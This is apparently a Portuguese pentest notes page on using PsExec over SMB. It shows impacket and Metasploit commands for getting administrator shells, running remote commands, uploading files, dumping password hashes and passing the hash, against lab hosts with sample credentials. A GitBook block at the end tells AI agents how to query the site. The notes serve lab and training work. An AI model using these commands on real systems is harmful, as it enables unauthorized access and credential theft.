> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/smb-445/psexec-smb-tool.md).

# PsExec (Ferramenta SMB)

> **PsExec** é uma ferramenta da suíte Sysinternals da Microsoft, usada para executar comandos ou programas remotamente em computadores Windows. Ela permite acesso interativo ou em segundo plano a uma máquina remota, muitas vezes com privilégios elevados, sem a necessidade de se conectar fisicamente ou usar um cliente RDP. Isso é particularmente útil para administração de rede, testes de segurança ou automação de tarefas.

Se a seguinte mensagem aparecer:

> "Assinatura habilitada, mas não obrigatória"

<figure><img src="/files/114de7e3c6e073e57e63fc895fc0a93567266fe0" alt="" width="563"><figcaption></figcaption></figure>

* Isso significa que a autenticação pode ocorrer sem verificação de assinatura. Pode haver comunicação insegura, permitindo abuso relacionado à autenticação.

### **PsExec.py**

Aqui está um exemplo de comando para obter um shell interativo com privilégios administrativos:

```bash
psexec.py <domain>/<user>:<password>@<ip_address> cmd.exe
```

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/b8350f44aca7b042bf468fd879c9946ba318fe96" alt=""><figcaption></figcaption></figure>

### **Execução remota de comandos**

Permite que você execute comandos ou scripts diretamente em uma máquina remota, sem abrir uma sessão de usuário.

```bash
psexec //<ip_address> -u <user> -p <password> <command>
```

```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```

### **Envio remoto de arquivos**

O PsExec permite copiar um arquivo local para a máquina remota antes de executá-lo.

```bash
psexec //<ip_address> -c <file_path>
```

```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```

## Metasploit

**Usando o Metasploit para explorar o SMB com o PsExec**

1. Inicie o Metasploit com o **exploit module/windows/smb/psexec** :

```bash
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```

<figure><img src="/files/fc39b59566f0b31e8af30fbd2930d51bb409201a" alt=""><figcaption></figcaption></figure>

Após obter acesso com sucesso, é possível "despejar" os hashes de senha:

```bash
hashdump
```

<figure><img src="/files/0230cf39ad84d8fbea76647645902200ffa68217" alt=""><figcaption></figcaption></figure>

### **Pass-the-Hash - PsExec**

O PsExec também pode ser usado para Pass-the-Hash, fornecendo um hash NTLM em vez de uma senha. Isso pode fornecer acesso administrativo quando o hash pertence a uma conta privilegiada:

```bash
psexec.py <domain>/<user>@<ip_address> -hashes :<ntlm_hash>
```

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

<figure><img src="/files/41dd8ef3ab86069dd5cb1735509453587507720d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/ports-and-services/smb-445/psexec-smb-tool.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
